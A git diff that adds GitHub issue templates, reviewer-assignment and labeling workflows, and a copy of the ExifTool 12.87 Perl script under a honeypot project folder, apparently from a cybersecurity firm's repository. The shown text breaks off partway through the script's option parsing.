diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..dd84ea7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,38 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 22] + +**Smartphone (please complete the following information):** + - Device: [e.g. iPhone6] + - OS: [e.g. iOS8.1] + - Browser [e.g. stock browser, safari] + - Version [e.g. 22] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..9eac768 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,9 @@ +blank_issues_enabled: true + +contact_links: + - name: Defronix CyberSecurity Pvt. Ltd. + url: https://defronix.com/ + about: Our offical website. + - name: Discord community + url: https://discord.gg/dHY2QGc9Zu + about: Ask and discuss about Cyberonix on Discord. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..bbcbbe7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: '' +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/auto-assign.yml b/.github/auto-assign.yml new file mode 100644 index 0000000..b48c84f --- /dev/null +++ b/.github/auto-assign.yml @@ -0,0 +1,27 @@ +name: Auto-Assign + +on: + pull_request: + types: [opened, synchronize] + +jobs: + auto-assign: + runs-on: ubuntu-latest + + steps: + - name: Checkout Code + uses: actions/checkout@v2 + with: + ref: ${{ github.head_ref }} + + - name: Auto-Assign Reviewer + run: | + REVIEWER_1="TeamDefronix" + REVIEWER_2="THECH13F" + REVIEWER_3="0xMrR0b0t" + echo "Assigning one of the following reviewers: $REVIEWER_1, $REVIEWER_2, $REVIEWER_3" + # Randomly select one of the reviewers + REVIEWER=$(echo $REVIEWER_1 $REVIEWER_2 $REVIEWER_3 | tr " " "\n" | shuf -n 1) + echo "Assigning $REVIEWER as the reviewer" + echo "Assigning $REVIEWER" + curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" -X POST -d "{\"assignees\":[\"$REVIEWER\"]}" "https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.number }}/assignees" diff --git a/.github/workflows/dependency-review.yml b/.github/workflows/dependency-review.yml new file mode 100644 index 0000000..611fd83 --- /dev/null +++ b/.github/workflows/dependency-review.yml @@ -0,0 +1,15 @@ + +name: 'Dependency Review' +on: [pull_request] + +permissions: + contents: read + +jobs: + dependency-review: + runs-on: ubuntu-latest + steps: + - name: 'Checkout Repository' + uses: actions/checkout@v3 + - name: 'Dependency Review' + uses: actions/dependency-review-action@v2 diff --git a/.github/workflows/label.yml b/.github/workflows/label.yml new file mode 100644 index 0000000..d3d7c97 --- /dev/null +++ b/.github/workflows/label.yml @@ -0,0 +1,15 @@ +name: Labeler +on: [pull_request] + +jobs: + label: + + runs-on: ubuntu-latest + permissions: + contents: read + pull-requests: write + + steps: + - uses: actions/labeler@v4 + with: + repo-token: "${{ secrets.GITHUB_TOKEN }}" diff --git a/honeypot/Honeypot_Project_final/exiftool b/honeypot/Honeypot_Project_final/exiftool new file mode 100644 index 0000000..fd483b8 --- /dev/null +++ b/honeypot/Honeypot_Project_final/exiftool @@ -0,0 +1,7605 @@ +#!/usr/bin/perl -w +#------------------------------------------------------------------------------ +# File: exiftool +# +# Description: Read/write meta information +# +# Revisions: Nov. 12/03 - P. Harvey Created +# (See html/history.html for revision history) +#------------------------------------------------------------------------------ +use strict; +use warnings; +require 5.004; + +my $version = '12.87'; + +# add our 'lib' directory to the include list BEFORE 'use Image::ExifTool' +my $exePath; +BEGIN { + # (undocumented -xpath option added in 11.91, must come before other options) + $exePath = @ARGV && lc($ARGV[0]) eq '-xpath' && shift() ? $^X : $0; + # get exe directory + my $exeDir = ($exePath =~ /(.*)[\\\/]/) ? $1 : '.'; + my $incDir = ($0 =~ /(.*)[\\\/]/) ? "$1/lib" : './lib'; + if (-l $0) { + my $lnk = eval { readlink $0 }; + if (defined $lnk) { + my $lnkDir = ($lnk =~ /(.*)[\\\/]/) ? $1 : '.'; + $exeDir = (($lnk =~ m(^/)) ? '' : $exeDir . '/') . $lnkDir; + $incDir = "$exeDir/lib"; + } + } + $Image::ExifTool::exeDir = $exeDir; # use our exeDir for loading config file + # add lib directory at start of include path + unshift @INC, $incDir; + # load or disable config file if specified + if (@ARGV and lc($ARGV[0]) eq '-config') { + shift; + $Image::ExifTool::configFile = shift; + } +} +use Image::ExifTool qw{:Public}; + +# function prototypes +sub SigInt(); +sub SigCont(); +sub Cleanup(); +sub GetImageInfo($$); +sub SetImageInfo($$$); +sub DoHardLink($$$$$); +sub CleanXML($); +sub EncodeXML($); +sub FormatXML($$$); +sub EscapeJSON($;$); +sub FormatJSON($$$); +sub PrintCSV(); +sub AddGroups($$$$); +sub ConvertBinary($); +sub IsEqual($$); +sub Infile($;$); +sub AddSetTagsFile($;$); +sub Warning($$); +sub DoSetFromFile($$$); +sub CleanFilename($); +sub SetWindowTitle($); +sub ProcessFiles($;$); +sub ScanDir($$;$); +sub FindFileWindows($$); +sub FileNotFound($); +sub PreserveTime(); +sub AbsPath($); +sub MyConvertFileName($$); +sub SuggestedExtension($$$); +sub LoadPrintFormat($;$); +sub FilenameSPrintf($;$@); +sub NextUnusedFilename($;$); +sub CreateDirectory($); +sub OpenOutputFile($;@); +sub AcceptFile($); +sub SlurpFile($$); +sub FilterArgfileLine($); +sub ReadStayOpen($); +sub Progress($$); +sub PrintTagList($@); +sub PrintErrors($$$); + +$SIG{INT} = 'SigInt'; # do cleanup on Ctrl-C +$SIG{CONT} = 'SigCont'; # (allows break-out of delays) +END { + Cleanup(); +} + +# declare all static file-scope variables +my @commonArgs; # arguments common to all commands +my @condition; # conditional processing of files +my @csvFiles; # list of files when reading with CSV option (in ExifTool Charset) +my @csvTags; # order of tags for first file with CSV option (lower case) +my @delFiles; # list of files to delete +my @dynamicFiles; # list of -tagsFromFile files with dynamic names and -TAG<=FMT pairs +my @efile; # files for writing list of error/fail/same file names +my @exclude; # list of excluded tags +my (@echo3, @echo4);# stdout and stderr echo after processing is complete +my @files; # list of files and directories to scan +my @moreArgs; # more arguments to process after -stay_open -@ +my @newValues; # list of new tag values to set +my @requestTags; # tags to request (for -p or -if option arguments) +my @srcFmt; # source file name format strings +my @tags; # list of tags to extract +my %altFile; # alternate files to extract information (keyed by lower-case family 8 group) +my %appended; # list of files appended to +my %countLink; # count hard and symbolic links made +my %created; # list of files we created +my %csvTags; # lookup for all found tags with CSV option (lower case keys) +my %database; # lookup for database information based on file name (in ExifTool Charset) +my %filterExt; # lookup for filtered extensions +my %ignore; # directory names to ignore +my $ignoreHidden; # flag to ignore hidden files +my %outComma; # flag that output text file needs a comma +my %outTrailer; # trailer for output text file +my %preserveTime; # preserved timestamps for files +my %printFmt; # the contents of the print format file +my %seqFileDir; # file sequence number in each directory +my %setTags; # hash of list references for tags to set from files +my %setTagsList; # list of other tag lists for multiple -tagsFromFile from the same file +my %usedFileName; # lookup for file names we already used in TestName feature +my %utf8FileName; # lookup for file names that are UTF-8 encoded +my %warnedOnce; # lookup for once-only warnings +my %wext; # -W extensions to write +my $allGroup; # show group name for all tags +my $altEnc; # alternate character encoding if not UTF-8 +my $argFormat; # use exiftool argument-format output +my $binaryOutput; # flag for binary output (undef or 1, or 0 for binary XML/PHP) +my $binaryStdout; # flag set if we output binary to stdout +my $binSep; # separator used for list items in binary output +my $binTerm; # terminator used for binary output +my $comma; # flag set if we need a comma in JSON output +my $count; # count of files scanned when reading or deleting originals +my $countBad; # count of files with errors +my $countBadCr; # count files not created due to errors +my $countBadWr; # count write errors +my $countCopyWr; # count of files copied without being changed +my $countDir; # count of directories scanned +my $countFailed; # count files that failed condition +my $countGoodCr; # count files created OK +my $countGoodWr; # count files written OK +my $countNewDir; # count of directories created +my $countSameWr; # count files written OK but not changed +my $critical; # flag for critical operations (disable CTRL-C) +my $csv; # flag for CSV option (set to "CSV", or maybe "JSON" when writing) +my $csvAdd; # flag to add CSV information to existing lists +my $csvDelim; # delimiter for CSV files +my $csvSaveCount; # save counter for last CSV file loaded +my $deleteOrig; # 0=restore original files, 1=delete originals, 2=delete w/o asking +my $disableOutput; # flag to disable normal output +my $doSetFileName; # flag set if FileName may be written +my $doUnzip; # flag to extract info from .gz and .bz2 files +my ($end,$endDir,%endDir); # flags to end processing +my $escapeC; # C-style escape +my $escapeHTML; # flag to escape printed values for html +my $evalWarning; # warning from eval +my $executeID; # -execute ID number +my $failCondition; # flag to fail -if condition +my $fastCondition; # flag for fast -if condition +my $fileHeader; # header to print to output file (or console, once) +my $fileTrailer; # trailer for output file +my $filtered; # flag indicating file was filtered by name +my $filterFlag; # file filter flag (0x01=deny extensions, 0x02=allow extensions, 0x04=add ext) +my $fixLen; # flag to fix description lengths when writing alternate languages +my $forcePrint; # string to use for missing tag values (undef to not print them) +my $geoOnly; # flag to extract Geolocation tags only +my $helped; # flag to avoid printing help if no tags specified +my $html; # flag for html-formatted output (2=html dump) +my $interrupted; # flag set if CTRL-C is pressed during a critical process +my $isBinary; # true if value is a SCALAR ref +my $isWriting; # flag set if we are writing tags +my $joinLists; # flag set to join list values into a single string +my $json; # flag for JSON/PHP output format (1=JSON, 2=PHP) +my $langOpt; # language option +my $listDir; # treat a directory as a regular file +my $listItem; # item number for extracting single item from a list +my $listSep; # list item separator (', ' by default) +my $mt; # main ExifTool object +my $multiFile; # non-zero if we are scanning multiple files +my $noBinary; # flag set to ignore binary tags +my $outFormat; # -1=Canon format, 0=same-line, 1=tag names, 2=values only +my $outOpt; # output file or directory name +my $overwriteOrig; # flag to overwrite original file (1=overwrite, 2=in place) +my $pause; # pause before returning +my $preserveTime; # flag to preserve times of updated files (2=preserve FileCreateDate only) +my $progress; # flag to calculate total files to process (0=calculate but don't display) +my $progressCount; # count of files processed +my $progressIncr; # increment for progress counter +my $progressMax; # total number of files to process +my $progressNext; # next progress count to output +my $progStr; # progress message string +my $quiet; # flag to disable printing of informational messages / warnings +my $rafStdin; # File::RandomAccess for stdin (if necessary to rewind) +my $recurse; # recurse into subdirectories (2=also hidden directories) +my $rtnVal; # command return value (0=success) +my $rtnValPrev; # previous command return value (0=success) +my $saveCount; # count the number of times we will/did call SaveNewValues() +my $scanWritable; # flag to process only writable file types +my $sectHeader; # current section header for -p option +my $sectTrailer; # section trailer for -p option +my $seqFileDir; # sequential file number used for %-C +my $seqFileNum; # sequential file number used for %C +my $setCharset; # character set setting ('default' if not set and -csv -b used) +my $showGroup; # number of group to show (may be zero or '') +my $showTagID; # non-zero to show tag ID's +my $stayOpenBuff='';# buffer for -stay_open file +my $stayOpenFile; # name of the current -stay_open argfile +my $structOpt; # output structured XMP information (JSON and XML output only) +my $tabFormat; # non-zero for tab output format +my $tagOut; # flag for separate text output file for each tag +my $textOut; # extension for text output file (or undef for no output) +my $textOverwrite; # flag to overwrite existing text output file (2=append, 3=over+append) +my $tmpFile; # temporary file to delete on exit +my $tmpText; # temporary text file +my $validFile; # flag indicating we processed a valid file +my $verbose; # verbose setting +my $vout; # verbose output file reference (\*STDOUT or \*STDERR by default) +my $windowTitle; # title for console window +my %wroteHEAD; # list of output txt files to which we wrote HEAD +my $xml; # flag for XML-formatted output + +# flag to keep the input -@ argfile open: +# 0 = normal behaviour +# 1 = received "-stay_open true" and waiting for argfile to keep open +# 2 = currently reading from STAYOPEN argfile +# 3 = waiting for -@ to switch to a new STAYOPEN argfile +my $stayOpen = 0; + +my $rtnValApp = 0; # app return value (0=success) +my $curTitle = ''; # current window title + +# lookup for O/S names which may use a backslash as a directory separator +# (ref File::Spec of PathTools-3.2701) +my %hasBackslash = ( MSWin32 => 1, os2 => 1, dos => 1, NetWare => 1, symbian => 1, cygwin => 1 ); + +# lookup for O/S names which use CR/LF newlines +my $isCRLF = { MSWin32 => 1, os2 => 1, dos => 1 }->{$^O}; + +# lookup for JSON characters that we escape specially +my %jsonChar = ( '"'=>'"', '\\'=>'\\', "\t"=>'t', "\n"=>'n', "\r"=>'r' ); + +# lookup for C-style escape sequences +my %escC = ( "\n" => '\n', "\r" => '\r', "\t" => '\t', '\\' => '\\\\'); +my %unescC = ( a => "\a", b => "\b", f => "\f", n => "\n", r => "\r", + t => "\t", 0 => "\0", '\\' => '\\' ); + +# options requiring additional arguments +# (used only to skip over these arguments when reading -stay_open ARGFILE) +# (arg is converted to lower case then tested again unless an entry was found with the same case) +my %optArgs = ( + '-tagsfromfile' => 1, '-addtagsfromfile' => 1, '-alltagsfromfile' => 1, + '-@' => 1, + '-api' => 1, + '-c' => 1, '-coordformat' => 1, + '-charset' => 0, # (optional arg; OK because arg cannot begin with "-") + '-config' => 1, + '-csvdelim' => 1, + '-d' => 1, '-dateformat' => 1, + '-D' => 0, # necessary to avoid matching lower-case equivalent + '-echo' => 1, '-echo#' => 1, + '-efile' => 1, '-efile#' => 1, '-efile!' => 1, '-efile#!' => 1, + '-ext' => 1, '--ext' => 1, '-ext+' => 1, '--ext+' => 1, + '-extension' => 1, '--extension' => 1, '-extension+' => 1, '--extension+' => 1, + '-fileorder' => 1, '-fileorder#' => 1, + '-geotag' => 1, + '-globaltimeshift' => 1, + '-i' => 1, '-ignore' => 1, + '-if' => 1, '-if#' => 1, + '-lang' => 0, # (optional arg; cannot begin with "-") + '-listitem' => 1, + '-o' => 1, '-out' => 1, + '-p' => 1, '-printformat' => 1, '-p-' => 1, '-printformat-' => 1, + '-P' => 0, + '-password' => 1, + '-require' => 1, + '-sep' => 1, '-separator' => 1, + '-srcfile' => 1, + '-stay_open' => 1, + '-use' => 1, + '-userparam' => 1, + '-w' => 1, '-w!' => 1, '-w+' => 1, '-w+!' => 1, '-w!+' => 1, + '-textout' => 1, '-textout!' => 1, '-textout+' => 1, '-textout+!' => 1, '-textout!+' => 1, + '-tagout' => 1, '-tagout!' => 1, '-tagout+' => 1, '-tagout+!' => 1, '-tagout!+' => 1, + '-wext' => 1, + '-wm' => 1, '-writemode' => 1, + '-x' => 1, '-exclude' => 1, + '-X' => 0, +); + +# recommended packages and alternatives +my @recommends = qw( + Archive::Zip + Compress::Zlib + Digest::MD5 + Digest::SHA + IO::Compress::Bzip2 + POSIX::strptime + Time::Local + Unicode::LineBreak + Compress::Raw::Lzma + IO::Compress::RawDeflate + IO::Uncompress::RawInflate + IO::Compress::Brotli + IO::Uncompress::Brotli + Win32::API + Win32::FindFile + Win32API::File +); +my %altRecommends = ( + 'POSIX::strptime' => 'Time::Piece', # (can use Time::Piece instead of POSIX::strptime) +); + +my %unescapeChar = ( 't'=>"\t", 'n'=>"\n", 'r'=>"\r" ); + +# special subroutines used in -if condition +sub Image::ExifTool::EndDir() { return $endDir = 1 } +sub Image::ExifTool::End() { return $end = 1 } + +# exit routine +sub Exit { + if ($pause) { + if (eval { require Term::ReadKey }) { + print STDERR "-- press any key --"; + Term::ReadKey::ReadMode('cbreak'); + Term::ReadKey::ReadKey(0); + Term::ReadKey::ReadMode(0); + print STDERR "\b \b" x 20; + } else { + print STDERR "-- press RETURN --\n"; + ; + } + } + exit shift; +} +# my warning and error routines (NEVER say "die"!) +sub Warn { + if ($quiet < 2 or $_[0] =~ /^Error/) { + my $oldWarn = $SIG{'__WARN__'}; + delete $SIG{'__WARN__'}; + warn(@_); + $SIG{'__WARN__'} = $oldWarn if defined $oldWarn; + } +} +sub Error { Warn @_; $rtnVal = 1; } +sub WarnOnce($) { + Warn(@_) and $warnedOnce{$_[0]} = 1 unless $warnedOnce{$_[0]}; +} + +# define signal handlers and cleanup routine +sub SigInt() { + $critical and $interrupted = 1, return; + Cleanup(); + exit 1; +} +sub SigCont() { } +sub Cleanup() { + $mt->Unlink($tmpFile) if defined $tmpFile; + $mt->Unlink($tmpText) if defined $tmpText; + undef $tmpFile; + undef $tmpText; + PreserveTime() if %preserveTime; + SetWindowTitle(''); +} + +#------------------------------------------------------------------------------ +# main script +# + +# isolate arguments common to all commands +if (grep /^-common_args$/i, @ARGV) { + my (@newArgs, $common, $end); + foreach (@ARGV) { + if (/^-common_args$/i and not $end) { + $common = 1; + } elsif ($common) { + push @commonArgs, $_; + } else { + $end = 1 if $_ eq '--'; + push @newArgs, $_; + } + } + @ARGV = @newArgs if $common; +} + +#.............................................................................. +# loop over sets of command-line arguments separated by "-execute" +Command: for (;;) { + +if (@echo3) { + my $str = join("\n", @echo3) . "\n"; + $str =~ s/\$\{status\}/$rtnVal/ig; + print STDOUT $str; +} +if (@echo4) { + my $str = join("\n", @echo4) . "\n"; + $str =~ s/\$\{status\}/$rtnVal/ig; + print STDERR $str; +} + +$rafStdin->Close() if $rafStdin; +undef $rafStdin; + +# save our previous return codes +$rtnValPrev = $rtnVal; +$rtnValApp = $rtnVal if $rtnVal; + +# exit Command loop now if we are all done processing commands +last unless @ARGV or not defined $rtnVal or $stayOpen >= 2 or @commonArgs; + +# attempt to restore text mode for STDOUT if necessary +if ($binaryStdout) { + binmode(STDOUT,':crlf') if $] >= 5.006 and $isCRLF; + $binaryStdout = 0; +} + +# flush console and print "{ready}" message if -stay_open is in effect +if ($stayOpen >= 2) { + if ($quiet and not defined $executeID) { + # flush output if possible + eval { require IO::Handle } and STDERR->flush(), STDOUT->flush(); + } else { + eval { require IO::Handle } and STDERR->flush(); + my $id = defined $executeID ? $executeID : ''; + my $save = $|; + $| = 1; # turn on output autoflush for stdout + print "{ready$id}\n"; + $| = $save; # restore original autoflush setting + } +} + +# initialize necessary static file-scope variables +# (not done: @commonArgs, @moreArgs, $critical, $binaryStdout, $helped, +# $interrupted, $mt, $pause, $rtnValApp, $rtnValPrev, $stayOpen, $stayOpenBuff, $stayOpenFile) +undef @condition; +undef @csvFiles; +undef @csvTags; +undef @delFiles; +undef @dynamicFiles; +undef @echo3; +undef @echo4; +undef @efile; +undef @exclude; +undef @files; +undef @newValues; +undef @srcFmt; +undef @tags; +undef %appended; +undef %countLink; +undef %created; +undef %csvTags; +undef %database; +undef %endDir; +undef %filterExt; +undef %ignore; +undef %outComma; +undef %outTrailer; +undef %printFmt; +undef %preserveTime; +undef %seqFileDir; +undef %setTags; +undef %setTagsList; +undef %usedFileName; +undef %utf8FileName; +undef %warnedOnce; +undef %wext; +undef $allGroup; +undef $altEnc; +undef $argFormat; +undef $binaryOutput; +undef $binSep; +undef $binTerm; +undef $comma; +undef $csv; +undef $csvAdd; +undef $deleteOrig; +undef $disableOutput; +undef $doSetFileName; +undef $doUnzip; +undef $end; +undef $endDir; +undef $escapeHTML; +undef $escapeC; +undef $evalWarning; +undef $executeID; +undef $failCondition; +undef $fastCondition; +undef $fileHeader; +undef $filtered; +undef $fixLen; +undef $forcePrint; +undef $geoOnly; +undef $ignoreHidden; +undef $joinLists; +undef $langOpt; +undef $listItem; +undef $multiFile; +undef $noBinary; +undef $outOpt; +undef $preserveTime; +undef $progress; +undef $progressCount; +undef $progressIncr; +undef $progressMax; +undef $progressNext; +undef $recurse; +undef $scanWritable; +undef $sectHeader; +undef $setCharset; +undef $showGroup; +undef $showTagID; +undef $structOpt; +undef $tagOut; +undef $textOut; +undef $textOverwrite; +undef $tmpFile; +undef $tmpText; +undef $validFile; +undef $verbose; +undef $windowTitle; + +$count = 0; +$countBad = 0; +$countBadCr = 0; +$countBadWr = 0; +$countCopyWr = 0; +$countDir = 0; +$countFailed = 0; +$countGoodCr = 0; +$countGoodWr = 0; +$countNewDir = 0; +$countSameWr = 0; +$csvDelim = ','; +$csvSaveCount = 0; +$fileTrailer = ''; +$filterFlag = 0; +$html = 0; +$isWriting = 0; +$json = 0; +$listSep = ', '; +$outFormat = 0; +$overwriteOrig = 0; +$progStr = ''; +$quiet = 0; +$rtnVal = 0; +$saveCount = 0; +$sectTrailer = ''; +$seqFileDir = 0; +$seqFileNum = 0; +$tabFormat = 0; +$vout = \*STDOUT; +$xml = 0; + +# define local variables used only in this command loop +my @fileOrder; # tags to use for ordering of input files +my $fileOrderFast; # -fast level for -fileOrder option +my $addGeotime; # automatically added geotime argument +my $doGlob; # flag set to do filename wildcard expansion +my $endOfOpts; # flag set if "--" option encountered +my $escapeXML; # flag to escape printed values for xml +my $setTagsFile; # filename for last TagsFromFile option +my $sortOpt; # sort option is used +my $srcStdin; # one of the source files is STDIN +my $useMWG; # flag set if we are using any MWG tag + +my ($argsLeft, @nextPass, $badCmd); +my $pass = 0; + +# for Windows, use globbing for wildcard expansion if available - MK/20061010 +if ($^O eq 'MSWin32' and eval { require File::Glob }) { + # override the core glob forcing case insensitivity + import File::Glob qw(:globally :nocase); + $doGlob = 1; +} + +$mt = Image::ExifTool->new; # create ExifTool object + +# don't extract duplicates by default unless set by UserDefined::Options +$mt->Options(Duplicates => 0) unless %Image::ExifTool::UserDefined::Options + and defined $Image::ExifTool::UserDefined::Options{Duplicates}; + +# default is to join lists if the List option was set to zero in the config file +$joinLists = 1 if defined $mt->Options('List') and not $mt->Options('List'); + +# preserve FileCreateDate if possible +if (not $preserveTime and $^O eq 'MSWin32') { + $preserveTime = 2 if eval { require Win32::API } and eval { require Win32API::File }; +} + +# add user-defined command-line arguments +if (@Image::ExifTool::UserDefined::Arguments) { + unshift @ARGV, @Image::ExifTool::UserDefined::Arguments; +} + +# parse command-line options in 2 passes... +# pass 1: set all of our ExifTool options +# pass 2: print all of our help and informational output (-list, -ver, etc) +for (;;) { + + # execute the command now if no more arguments or -execute is used + if (not @ARGV or ($ARGV[0] =~ /^(-|\xe2\x88\x92)execute(\d+)?$/i and not $endOfOpts)) { + if (@ARGV) { + $executeID = $2; # save -execute number for "{ready}" response + $helped = 1; # don't show help if we used -execute + $badCmd and shift, $rtnVal=1, next Command; + } elsif ($stayOpen >= 2) { + ReadStayOpen(\@ARGV); # read more arguments from -stay_open file + next; + } elsif ($badCmd) { + undef @commonArgs; # all done. Flush common arguments + $rtnVal = 1; + next Command; + } + if ($pass == 0) { + # insert common arguments now if not done already + if (@commonArgs and not defined $argsLeft) { + # count the number of arguments remaining for subsequent commands + $argsLeft = scalar(@ARGV) + scalar(@moreArgs); + unshift @ARGV, @commonArgs; + # all done with commonArgs if this is the end of the command + undef @commonArgs unless $argsLeft; + next; + } + # check if we have more arguments now than we did before we processed + # the common arguments. If so, then we have an infinite processing loop + if (defined $argsLeft and $argsLeft < scalar(@ARGV) + scalar(@moreArgs)) { + Warn "Ignoring -common_args from $ARGV[0] onwards to avoid infinite recursion\n"; + while ($argsLeft < scalar(@ARGV) + scalar(@moreArgs)) { + @ARGV and shift(@ARGV), next; + shift @moreArgs; + } + } + # require MWG module if used in any argument + # (note: doesn't cover the -p option because these tags will be parsed on the 2nd pass) + $useMWG = 1 if not $useMWG and grep /^mwg:/i, @tags, @requestTags; + if ($useMWG) { + require Image::ExifTool::MWG; + Image::ExifTool::MWG::Load(); + } + # update necessary variables for 2nd pass + if (defined $forcePrint) { + unless (defined $mt->Options('MissingTagValue')) { + $mt->Options(MissingTagValue => '-'); + } + $forcePrint = $mt->Options('MissingTagValue'); + } + } + if (@nextPass) { + # process arguments which were deferred to the next pass + unshift @ARGV, @nextPass; + undef @nextPass; + undef $endOfOpts; + ++$pass; + next; + } + @ARGV and shift; # remove -execute from argument list + last; # process the command now + } + $_ = shift; + next if $badCmd; # flush remaining arguments if aborting this command + + # allow funny dashes (nroff dash bug for cut-n-paste from pod) + if (not $endOfOpts and s/^(-|\xe2\x88\x92)//) { + s/^\xe2\x88\x92/-/; # translate double-dash too + if ($_ eq '-') { + $pass or push @nextPass, '--'; + $endOfOpts = 1; + next; + } + my $a = lc $_; + if (/^list([wfrdx]|wf|g(\d*)|geo)?$/i) { + $pass or push @nextPass, "-$_"; + my $type = lc($1 || ''); + if (not $type or $type eq 'w' or $type eq 'x') { + my $group; + if ($ARGV[0] and $ARGV[0] =~ /^(-|\xe2\x88\x92)(.+):(all|\*)$/i) { + if ($pass == 0) { + $useMWG = 1 if lc($2) eq 'mwg'; + push @nextPass, shift; + next; + } + $group = $2; + shift; + $group =~ /IFD/i and Warn("Can't list tags for specific IFD\n"), $helped=1, next; + $group =~ /^(all|\*)$/ and undef $group; + } else { + $pass or next; + } + $helped = 1; + if ($type eq 'x') { + require Image::ExifTool::TagInfoXML; + my %opts; + $opts{Flags} = 1 if defined $forcePrint; + $opts{NoDesc} = 1 if $outFormat > 0; + $opts{Lang} = $langOpt; + Image::ExifTool::TagInfoXML::Write(undef, $group, %opts); + next; + } + my $wr = ($type eq 'w'); + my $msg = ($wr ? 'Writable' : 'Available') . ($group ? " $group" : '') . ' tags'; + PrintTagList($msg, $wr ? GetWritableTags($group) : GetAllTags($group)); + # also print shortcuts if listing all tags + next if $group or $wr; + my @tagList = GetShortcuts(); + PrintTagList('Command-line shortcuts', @tagList) if @tagList; + next; + } + $pass or next; + $helped = 1; + if ($type eq 'wf') { + my @wf; + CanWrite($_) and push @wf, $_ foreach GetFileType(); + PrintTagList('Writable file extensions', @wf); + } elsif ($type eq 'f') { + PrintTagList('Supported file extensions', GetFileType()); + } elsif ($type eq 'r') { + PrintTagList('Recognized file extensions', GetFileType(undef, 0)); + } elsif ($type eq 'd') { + PrintTagList('Deletable groups', GetDeleteGroups()); + } elsif ($type eq 'geo') { + require Image::ExifTool::Geolocation; + my ($i, $entry); + print "Geolocation database:\n" unless $quiet; + my $isAlt = $mt->Options('GeolocAltNames') ? ',AltNames' : ''; + $isAlt = '' if $isAlt and not Image::ExifTool::Geolocation::ReadAltNames(); + print "City,Region,Subregion,CountryCode,Country,TimeZone,FeatureCode,Population,Latitude,Longitude$isAlt\n"; + Image::ExifTool::Geolocation::SortDatabase('City') if $sortOpt; + my $minPop = $mt->Options('GeolocMinPop'); + my $feature = $mt->Options('GeolocFeature') || ''; + my $neg = $feature =~ s/^-//; + my %fcodes = map { lc($_) => 1 } split /\s*,\s*/, $feature; + my @isUTF8 = (0,1,2,4); # items that need converting from UTF8 + push @isUTF8, 10 if $isAlt; + for ($i=0; ; ++$i) { + my @entry = Image::ExifTool::Geolocation::GetEntry($i,$langOpt,1) or last; + $#entry = 9; # remove everything after latitude (eg. feature type) + next if $minPop and $entry[7] < $minPop; + next if %fcodes and $neg ? $fcodes{lc $entry[6]} : not $fcodes{lc $entry[6]}; + push @entry, Image::ExifTool::Geolocation::GetAltNames($i,1) if $isAlt; + $_ = defined $_ ? $mt->Decode($_, 'UTF8') : '' foreach @entry[@isUTF8]; + pop @entry if $isAlt and not $entry[10]; + print join(',', @entry), "\n"; + } + } else { # 'g(\d*)' + # list all groups in specified family + my $family = $2 || 0; + PrintTagList("Groups in family $family", $mt->GetAllGroups($family)); + } + next; + } + if ($a eq 'ver') { + $pass or push(@nextPass,'-ver'), next; + my $libVer = $Image::ExifTool::VERSION; + my $str = $libVer eq $version ? '' : " [Warning: Library version is $libVer]"; + if ($verbose) { + print "ExifTool version $version$str$Image::ExifTool::RELEASE\n"; + printf "Perl version %s%s\n", $], (defined ${^UNICODE} ? " (-C${^UNICODE})" : ''); + print "Platform: $^O\n"; + if ($verbose > 8) { + print "Current Dir: " . Cwd::getcwd() . "\n" if (eval { require Cwd }); + print "Script Name: $0\n"; + print "Exe Name: $^X\n"; + print "Exe Dir: $Image::ExifTool::exeDir\n"; + print "Exe Path: $exePath\n"; + } + print "Optional libraries:\n"; + foreach (@recommends) { + next if /^Win32/ and $^O ne 'MSWin32'; + my $ver = eval "require $_ and \$${_}::VERSION"; + my $alt = $altRecommends{$_}; + # check for alternative if primary not available + $ver = eval "require $alt and \$${alt}::VERSION" and $_ = $alt if not $ver and $alt; + printf " %-28s %s\n", $_, $ver || '(not installed)'; + } + if ($verbose > 1) { + print "Include directories:\n"; + ref $_ or print " $_\n" foreach @INC; + } + } else { + print "$version$str$Image::ExifTool::RELEASE\n"; + } + $helped = 1; + next; + } + if (/^(all|add)?tagsfromfile(=.*)?$/i) { + $setTagsFile = $2 ? substr($2,1) : (@ARGV ? shift : ''); + if ($setTagsFile eq '') { + Error("File must be specified for -tagsFromFile option\n"); + $badCmd = 1; + next; + } + # create necessary lists, etc for this new -tagsFromFile file + AddSetTagsFile($setTagsFile, { Replace => ($1 and lc($1) eq 'add') ? 0 : 1 } ); + next; + } + if ($a eq '@') { + my $argFile = shift or Error("Expecting filename for -\@ option\n"), $badCmd=1, next; + # switch to new ARGFILE if using chained -stay_open options + if ($stayOpen == 1) { + # defer remaining arguments until we close this argfile + @moreArgs = @ARGV; + undef @ARGV; + } elsif ($stayOpen == 3) { + if ($stayOpenFile and $stayOpenFile ne '-' and $argFile eq $stayOpenFile) { + # don't allow user to switch to the same -stay_open argfile + # because it will result in endless recursion + $stayOpen = 2; + Warn "Ignoring request to switch to the same -stay_open ARGFILE ($argFile)\n"; + next; + } + close STAYOPEN; + $stayOpen = 1; # switch to this -stay_open file + } + my $fp = ($stayOpen == 1 ? \*STAYOPEN : \*ARGFILE); + unless 